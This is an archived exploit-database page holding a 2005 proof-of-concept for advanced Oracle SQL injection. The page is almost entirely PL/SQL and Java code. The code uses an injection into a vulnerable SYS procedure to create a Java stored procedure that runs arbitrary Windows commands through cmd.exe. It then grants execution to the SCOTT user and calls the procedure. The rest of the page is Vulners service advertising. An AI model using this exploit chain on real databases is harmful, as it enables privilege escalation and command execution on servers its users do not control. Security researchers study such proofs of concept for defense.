Lucene search
K

plsql_multiplestatement_injection.txt

🗓️ 19 Apr 2005 00:00:00Reported by Esteban Martinez FayoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Advanced Oracle SQL Injection with OS Command Execution by Esteban Martinez Fay

Code
`/*  
Advanced SQL Injection in Oracle databases  
Executing OS Command with SQL Injection  
  
By Esteban Martinez Fayo  
[email protected]  
*/  
  
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2  
authid current_user as  
pragma autonomous_transaction;  
SqlCommand VARCHAR2(2048);  
  
BEGIN  
SqlCommand := '  
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS  
import java.lang.*;  
import java.io.*;  
  
public class ExecuteOS  
{  
public static void printFile (String fileName) throws IOException  
{  
File fileOut;  
FileReader fileReaderOut;  
BufferedReader buffReader;  
String strRead;  
  
fileOut = new File (fileName);  
fileReaderOut = new FileReader (fileOut);  
buffReader = new BufferedReader(fileReaderOut);  
while ((strRead = buffReader.readLine()) != null)  
System.out.println(strRead);  
}  
  
public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException  
{  
String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd};  
  
System.out.println("==========\r\nExecuting OS command...");  
Process p = Runtime.getRuntime().exec(strCmd);  
p.waitFor();  
System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:");  
printFile ("c:\\stdout.txt");  
System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:");  
printFile ("c:\\stderr.txt");  
}  
}';  
execute immediate SqlCommand;  
  
SqlCommand := '  
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)  
AS LANGUAGE JAVA  
NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';  
execute immediate SqlCommand;  
  
execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';  
  
commit; -- Must do a commit  
return ''; -- Must return a value  
END;  
/  
  
-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists  
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).  
-- See file SQLInjectionLimitation.sql  
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');  
/  
SET SERVEROUTPUT ON  
/  
CALL dbms_java.set_output(1999);  
/  
EXEC sys.proc_executeos ('dir');  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Apr 2005 00:00Current
0.1Low risk
Vulners AI Score0.1
21